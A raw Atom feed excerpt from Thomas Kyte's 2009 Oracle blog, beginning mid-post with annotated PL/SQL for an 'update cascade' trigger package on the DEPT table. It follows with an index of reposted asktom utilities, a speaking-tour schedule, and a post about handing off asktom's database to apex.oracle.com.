/&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;This package uses three triggers to perform it magic.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt; A before update trigger; used to reset some package variables&lt;br /&gt;&lt;/li&gt;&lt;li&gt; A before update, for each row trigger; used to capture the before&lt;br /&gt;and after images of the primary keys in pl/sql tables.&lt;br /&gt;It also 'undoes' the update to the primary key.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; An After update trigger that does the following steps:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt; 'Clones' the parent records with their new primary key, eg:&lt;br /&gt;insert into parent select NEW_KEY, other_cols&lt;br /&gt;  from parent where CURRENT_KEY = ( SELECT OLD_KEY&lt;br /&gt;                                     FROM DUAL)&lt;br /&gt;&lt;br /&gt;for example, given "update dept set deptno=deptno+1", this would&lt;br /&gt;insert the values of 11, 21, 31, 41 into the dept table.  11 would&lt;br /&gt;have the values in the rest of the columns that 10 had.  21 would&lt;br /&gt;look like 20 and so on.&lt;br /&gt;&lt;br /&gt; &lt;/li&gt;&lt;li&gt; If p_preserve_rowids = TRUE, then the primary keys of the row that&lt;br /&gt; was cloned and the clone would be flip flopped.  For example, if you&lt;br /&gt; issue: update dept set deptno = 11 where deptno = 10 we would make 10&lt;br /&gt; become the new value 11 and 11 become the old value 10.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Re-Parents the child records in all subordinate tables.&lt;br /&gt;Performs the equivalent of:&lt;br /&gt;update child set fkey = ( select new_key&lt;br /&gt;                         from DUAL )&lt;br /&gt;   where fkey = ( select old_key from DUAL )&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; It then removes the 'cloned' parent records or the record with the&lt;br /&gt; old primary key value.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;A look at the code&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;The follow annotated code is the generated packages and triggers you&lt;br /&gt;would create by generating support for the dept table.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;The following package spec is what would be generated for the&lt;br /&gt;typical 'DEPT' table&lt;br /&gt;found in the scott schema (when declaritive RI is used).  See the annotations in&lt;br /&gt;the spec for a description of what each entry means and how it is used.  The&lt;br /&gt;annotations are not found in the generated code, the generated code is not&lt;br /&gt;commented.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;This generated code preserves rowids.  The code that preserves rowids will&lt;br /&gt;be in bold.  This code would not be present in the generated package if&lt;br /&gt;rowid preservation was disabled.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; exec update_cascade.on_table('dept',true,true);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;The following is a typical package specification generated for a table.&lt;br /&gt;The package spec name is always u || TABLE_NAME || p.  The package name is&lt;br /&gt;in mixed case (to prevent collisions with other user objects).&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt; create or replace package "uDEPTp"&lt;br /&gt; as&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;Rowcnt is used to collect the number of rows processed by a given update&lt;br /&gt;statement.  It is reset in the uDEPTp.reset routine in a before update&lt;br /&gt;trigger.  The 'inTrigger' variable is used to prevent recursive firing of&lt;br /&gt;triggers when p_preserve_rowid = TRUE;&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;     rowCnt    number default 0;&lt;br /&gt;     &lt;b&gt;inTrigger boolean default FALSE;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;For each element in the primary key, a table type will be declared and then&lt;br /&gt;an array of that type will be declared to 1.) hold the before image, 2.) the&lt;br /&gt;after image, and 3.) an empty array used to zero out the previous two&lt;br /&gt;arrays.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;     type C1_type is table of "DEPT"."DEPTNO"%type index by binary_integer;&lt;br /&gt; --&lt;br /&gt;     empty_C1 C1_type;&lt;br /&gt;     old_C1   C1_type;&lt;br /&gt;     new_C1   C1_type;&lt;br /&gt; --&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;Reset is the routine fired by the BEFORE UPDATE trigger that resets the&lt;br /&gt;rowcnt variable and empties out the arrays from the previous invocation.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;     procedure reset;&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;Do cascade is the work horse routine.  It performs the actual cascade when&lt;br /&gt;fired from an AFTER UPDATE trigger.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;     procedure do_cascade;&lt;br /&gt; --&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;Add Entry simply increments the rowcnt and collects the before/after images&lt;br /&gt;of the primary keys.  It also 'undoes' the update to the primary key by&lt;br /&gt;accessing the :new and :old variables.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;     procedure add_entry&lt;br /&gt;     (&lt;br /&gt;          p_old_C1 in "DEPT"."DEPTNO"%type&lt;br /&gt;         ,p_new_C1 in out "DEPT"."DEPTNO"%type&lt;br /&gt;      );&lt;br /&gt; --&lt;br /&gt; end "uDEPTp";&lt;br /&gt;/&lt;br /&gt;&lt;/pre&gt;&lt;hr /&gt;&lt;i&gt;&lt;br /&gt;This is the package body generated.  It implements the above specification&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt; create or replace package body "uDEPTp"&lt;br /&gt; as&lt;br /&gt; --&lt;br /&gt;     procedure reset&lt;br /&gt;     is&lt;br /&gt;     begin&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;This line is present in all routines when p_preserve_rowids = TRUE.  It&lt;br /&gt;prevents recursive firing of the triggers.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;         &lt;b&gt;if ( inTrigger ) then return; end if;&lt;/b&gt;&lt;br /&gt; --&lt;br /&gt;         rowCnt := 0;&lt;br /&gt;         old_C1 := empty_C1;&lt;br /&gt;         new_C1 := empty_C1;&lt;br /&gt;     end reset;&lt;br /&gt; --&lt;br /&gt;     procedure add_entry&lt;br /&gt;     (&lt;br /&gt;          p_old_C1 in "DEPT"."DEPTNO"%type&lt;br /&gt;         ,p_new_C1 in out "DEPT"."DEPTNO"%type&lt;br /&gt;      )&lt;br /&gt;     is&lt;br /&gt;     begin&lt;br /&gt; --&lt;br /&gt;         &lt;b&gt;if ( inTrigger ) then return; end if;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;This code saves the before and after images in pl/sql tables and 'undoes'&lt;br /&gt;the primary key update by setting the new columns back to the old columns.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;         if (&lt;br /&gt;              p_old_C1 &lt;&gt; p_new_C1&lt;br /&gt;          ) then&lt;br /&gt;         rowCnt := rowCnt + 1;&lt;br /&gt;         old_C1( rowCnt ) := p_old_C1;&lt;br /&gt;         new_C1( rowCnt ) := p_new_C1;&lt;br /&gt;         p_new_C1 := p_old_C1;&lt;br /&gt;         end if;&lt;br /&gt;     end add_entry;&lt;br /&gt; --&lt;br /&gt;     procedure do_cascade&lt;br /&gt;     is&lt;br /&gt;     begin&lt;br /&gt; --&lt;br /&gt;         &lt;b&gt;if ( inTrigger ) then return; end if;&lt;br /&gt;         inTrigger := TRUE;&lt;/b&gt;&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;For every row that was updated we will perform the clone, cascade and&lt;br /&gt;delete....&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;         for i in 1 .. rowCnt loop&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;This insert clones the parent row, duping the old values with the new&lt;br /&gt;primary key.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;             insert into DEPT (&lt;br /&gt;              "DEPTNO"&lt;br /&gt;             ,"DNAME","LOC") select&lt;br /&gt;              new_C1(i)&lt;br /&gt;             ,"DNAME","LOC"&lt;br /&gt;             from "DEPT" a&lt;br /&gt;             where ( "DEPTNO" ) =&lt;br /&gt;                   ( select  old_C1(i)&lt;br /&gt;                       from dual );&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;This code is generated only when p_preserve_rowids=true and will flip-flop&lt;br /&gt;the old and new primary keys, hence preserving the rowid of the original&lt;br /&gt;parent.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;             &lt;b&gt;update "DEPT" set&lt;br /&gt;             (  "DEPTNO" ) =&lt;br /&gt;             ( select&lt;br /&gt;                  decode( "DEPTNO", old_c1(i), new_c1(i), old_c1(i) )&lt;br /&gt;               from dual )&lt;br /&gt;             where (  "DEPTNO" ) =&lt;br /&gt;                   ( select  new_C1(i)&lt;br /&gt;                       from dual )&lt;br /&gt;                OR (  "DEPTNO" ) =&lt;br /&gt;                   ( select  old_C1(i)&lt;br /&gt;                       from dual );&lt;/b&gt;&lt;br /&gt; --&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;Do a cascade update to all children tables.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;             update "EMP" set&lt;br /&gt;             (  "DEPTNO" ) =&lt;br /&gt;             ( select   new_C1(i)&lt;br /&gt;                 from dual )&lt;br /&gt;             where (  "DEPTNO" ) =&lt;br /&gt;                   ( select   old_C1(i)&lt;br /&gt;                     from dual );&lt;br /&gt; --&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;&lt;br /&gt;Removing the old primary key value.&lt;br /&gt;&lt;/i&gt;&lt;pre&gt;&lt;br /&gt;             delete from "DEPT"&lt;br /&gt;              where (  "DEPTNO" ) =&lt;br /&gt;                    ( select  old_C1(i)&lt;br /&gt;                        from dual);&lt;br /&gt;         end loop;&lt;br /&gt; --&lt;br /&gt;         &lt;b&gt;inTrigger := FALSE;&lt;/b&gt;&lt;br /&gt;         reset;&lt;br /&gt;    exception&lt;br /&gt;        when others then&lt;br /&gt;           &lt;b&gt;inTrigger := FALSE;&lt;/b&gt;&lt;br /&gt;           reset;&lt;br /&gt;           raise;&lt;br /&gt;     end do_cascade;&lt;br /&gt; --&lt;br /&gt; end "uDEPTp";&lt;br /&gt;/&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;br /&gt;Lastly, we have the three triggers placed on&lt;br /&gt;the parent table to effect the update&lt;br /&gt;cascade. The first trigger simply 'resets' the package variables above.&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;create or replace trigger "uc$DEPT_bu"&lt;br /&gt;before update of&lt;br /&gt;"DEPTNO"&lt;br /&gt;on "DEPT"&lt;br /&gt;begin "uc$DEPT_pkg".reset; end;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;The next trigger, the for each row trigger,&lt;br /&gt;simply calls add_entry for each changed&lt;br /&gt;row.&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;create or replace trigger "uc$DEPT_bufer"&lt;br /&gt;before update of&lt;br /&gt;"DEPTNO"&lt;br /&gt;on "DEPT"&lt;br /&gt;for each row&lt;br /&gt;begin&lt;br /&gt;"uc$DEPT_pkg".add_entry(&lt;br /&gt;:old."DEPTNO"&lt;br /&gt;,:new."DEPTNO"&lt;br /&gt;);&lt;br /&gt;end;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;The last trigger, calls do_cascade to effect the change&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;create or replace trigger "uc$DEPT_au"&lt;br /&gt;after update of&lt;br /&gt;"DEPTNO"&lt;br /&gt;on "DEPT"&lt;br /&gt;begin "uc$DEPT_pkg".do_cascade; end;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a name="download"&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr noshade="noshade" size="5"&gt;&lt;br /&gt;&lt;h1&gt;Download&lt;/h1&gt;&lt;br /&gt;&lt;hr noshade="noshade" size="5"&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6548592028457545191&amp;amp;p_cat=all.tar&amp;amp;p_company=822925097021874"&gt;Download all files in a tar format&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-4931252593461142047?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/4931252593461142047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=4931252593461142047' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4931252593461142047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4931252593461142047'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkyteupdatecascade.html' title='http://asktom.oracle.com/tkyte/update_cascade'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1648384493500826101</id><published>2009-10-08T14:21:00.014-04:00</published><updated>2009-10-08T15:46:26.890-04:00</updated><title type='text'>http://asktom.oracle.com/tkyte/</title><content type='html'>This page will be published and republished over the next couple of days and into the future.  It will contain pointers to the material that was previously hosted on http://asktom.oracle.com/tkyte.  I'll be reformatting those pages to fit into blogspot here and host the data supporting the pages in my "files" tab on asktom.  After that is all done, I'll be doing an update to the questions and answers on asktom to map to the new URLS for everything.&lt;br /&gt;&lt;br /&gt;So - beware - you will see a flurry of activity on my blog for a bit.  It won't be anything new, but it might be something you didn't see before...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:times new roman;" &gt;Selected Utilities/Frequently Asked Questions&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkyteupdatecascade.html"&gt;Update Cascade Package&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkytehexdec.html"&gt;Base conversion routines&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkyteunindex.html"&gt;Unindexed Foreign Keys&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkytewhocalledme.html"&gt;Who Called Me&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkyteflat.html"&gt;Data Unloader&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551171813078805685&amp;amp;p_cat=ResultSets.html&amp;amp;p_company=822925097021874"&gt;Getting Result Sets&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551198119097816936&amp;amp;p_cat=MutatingTable.html&amp;amp;p_company=822925097021874"&gt;Mutating Tables&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551221920051836085&amp;amp;p_cat=SkippingColumns.html&amp;amp;p_company=822925097021874"&gt;Skipping Columns in sqlldr&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551242712657900129&amp;amp;p_cat=DateDiff.html&amp;amp;p_company=822925097021874"&gt;Getting the difference between two dates&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551245110710909097&amp;amp;p_cat=LargeStrings.html&amp;amp;p_company=822925097021874"&gt;Inserting large strings&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551268808763917945&amp;amp;p_cat=MoveLongs.html&amp;amp;p_company=822925097021874"&gt;Moving LONG columns&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551282707163926958&amp;amp;p_cat=NLSDateFormat.html&amp;amp;p_company=822925097021874"&gt;Why doesn't my init.ora parameter NLS_DATE_FORMAT seem to work&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551289900368934430&amp;amp;p_cat=RolesAndProcedures.html&amp;amp;p_company=822925097021874"&gt;Why do I get an ORA-1031 or PL-201 with stored procedures&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:1407603857650"&gt;Spelling a number&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551309506386945638&amp;amp;p_cat=su.html&amp;amp;p_company=822925097021874"&gt;How to become another User in SQLPlus&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551323629589952358&amp;amp;p_cat=CTime.html&amp;amp;p_company=822925097021874"&gt;How to convert the UNIX time_t to an Oracle DATE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551378329289980701&amp;amp;p_cat=runstats.html&amp;amp;p_company=822925097021874"&gt;How to build a simple test harness (RUNSTATS) (HOWTO) to test two different approaches from a performance perspective &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D6551402703363001567&amp;amp;p_cat=free.html&amp;amp;p_company=822925097021874"&gt;free.html (HOWTO) Report database free space by tablespace &lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1648384493500826101?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1648384493500826101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1648384493500826101' title='214 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1648384493500826101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1648384493500826101'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkyte.html' title='http://asktom.oracle.com/tkyte/'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>214</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1380270026145725968</id><published>2009-09-20T18:29:00.004-04:00</published><updated>2009-09-22T12:02:40.056-04:00</updated><title type='text'>Advert of sorts: Canada, UKOUG, Chile, Peru, Poland...</title><content type='html'>For all events between now and the end of the year, my speaking schedule is published on &lt;a href="http://asktom.oracle.com/"&gt;asktom.oracle.com&lt;/a&gt;.  This post hi-lights the "international" (for me, if you live there - it is local of course...) trips I'll be doing.  You can see all of the US only trips on asktom as well - and there are quite a few (Atlanta, Baton Rouge, Reston VA, Baltimore, San Francisco, Saint Louis, Richmond VA, Birmingham AL - to name a few).&lt;br /&gt;&lt;br /&gt;I'm frequently asked "how often am I on the road" - the question behind the question being "how do you get to keep up with the database and stay hands on".  I travel exactly 50% of the time - one week on, one week off.  I'm getting ready for a week "on" right now.  I spend the other 50% working locally (mostly at home) with the database and customers - preparing new material, getting caught up on questions on asktom and the like.  From time to time - since they will not move events like Oracle OpenWorld to accommodate my schedule - I travel two weeks and stay off the road for two weeks.  One of those "two weeks - no travel" is coming up and I'm very much looking forward to that.&lt;br /&gt;&lt;br /&gt;Anyway - to the schedule and links to what's happening...&lt;br /&gt;&lt;br /&gt;I'll be in Canada quite a few times this year - three times this week (&lt;a href="http://www.oragec.org/pls/htmldb/f?p=105:34:0:::::"&gt;Quebec&lt;/a&gt;, &lt;a href="http://www.oracle.com/dm/10q1field/35336_ev_11g_toronto_sep22.html"&gt;Toronto &lt;/a&gt;and &lt;a href="http://www.oragec.org/pls/htmldb/f?p=105:34:0:::::"&gt;Montreal&lt;/a&gt;).  I'll be back in Canada - a little further west and a lot further north - in November for the &lt;a href="http://www.iceconference.com/"&gt;ICE conference in Edmonton&lt;/a&gt;.  I get back to &lt;a href="http://www.toug.org/"&gt;Toronto &lt;/a&gt;(for the local user group) again in November as well.&lt;br /&gt;&lt;br /&gt;I'll be hitting &lt;a href="http://www.cloug.org/1.html"&gt;Chile &lt;/a&gt;and &lt;a href="http://www.peoug.org/"&gt;Peru &lt;/a&gt;in South America in November - again looking forward to that as I've never been down there at all.  The user group events are something I really enjoy (more than a seminar - those are very very tiring to deliver. Physically tiring) and getting out to a place I've never been is always interesting.&lt;br /&gt;&lt;br /&gt;After that - I'm off to the &lt;a href="http://ukoug.org/"&gt;UKOUG&lt;/a&gt;.  I've presented there many times now and always look forward to the event in Birmingham.  A good time to catch up with a lot of people and much like IOUG in the US - it is a highly technical conference.  Every single session is delivered by people using the Oracle software, and mostly delivered by people that use the Oracle software every single day.  A lot of hands on knowledge is transferred.  Always looking forward to that conference.&lt;br /&gt;&lt;br /&gt;My last trip out of the US in 2009 will be to &lt;a href="http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getCourseDesc?dc=D70302_977396&amp;amp;p_org_id=10&amp;amp;lang=PL"&gt;Warsaw, Poland&lt;/a&gt; right after the UKOUG.  I'll be delivering a two day seminar there.  I won't have much time to look around unfortunately as I fly in late Tuesday night from the UK and leave early Friday morning for home.  I'll have to have a nice dinner or two out though to get a feel for the city.&lt;br /&gt;&lt;br /&gt;Into the first half of 2010 - I'll be hitting places such as Croatia, Tokyo, Moscow, Hungary, two cities in South Africa, the Baltics and Turkey... More details on those to follow...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1380270026145725968?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1380270026145725968/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1380270026145725968' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1380270026145725968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1380270026145725968'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/09/advert-of-sorts-canada-egypt-ukoug.html' title='Advert of sorts: Canada, UKOUG, Chile, Peru, Poland...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1015313266935657484</id><published>2009-09-18T10:14:00.005-04:00</published><updated>2009-09-18T10:25:03.194-04:00</updated><title type='text'>I'm not a DBA anymore...</title><content type='html'>After nine years and nine months of running the database that hosts &lt;a href="http://asktom.oracle.com/"&gt;asktom&lt;/a&gt;, I've retired.&lt;br /&gt;&lt;br /&gt;Not from answering questions, but rather from being the DBA and semi-SA for the machine that was asktom.oracle.com.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://asktom.oracle.com/"&gt;Asktom.oracle.com&lt;/a&gt; is now synonymous with &lt;a href="http://apex.oracle.com/"&gt;APEX.oracle.com&lt;/a&gt; - Joel Kallman facilitated the move (&lt;a href="http://joelkallman.blogspot.com/2009/09/ask-tom-moved-to-apexoraclecom.html"&gt;here is the story on that&lt;/a&gt;).  So, I'm now running in a database with thousands of other applications.  And - it seems a bit faster than my old hardware (which was held together with some glue and duct-tape - the drives were failing left and right...).&lt;br /&gt;&lt;br /&gt;For some stories on APEX and the ability to handle a pretty large load - I suggest you glance at:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://joelkallman.blogspot.com/2009/06/who-says-application-express-cant-scale.html"&gt;http://joelkallman.blogspot.com/2009/06/who-says-application-express-cant-scale.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://joelkallman.blogspot.com/2008/02/who-uses-apexoraclecom.html"&gt;http://joelkallman.blogspot.com/2008/02/who-uses-apexoraclecom.html&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;But now, for the first time in years, I won't be afraid to check asktom when I land and get off of the plane.  If something goes wrong - the data center guys will fix it :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And yes, the intermittent "&lt;a href="http://tkyte.blogspot.com/2009/08/memories.html#c5725681901891918148"&gt;some IE users get an error on asktom&lt;/a&gt;" issue was found and fixed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1015313266935657484?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1015313266935657484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1015313266935657484' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1015313266935657484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1015313266935657484'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/09/im-not-dba-anymore.html' title='I&apos;m not a DBA anymore...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 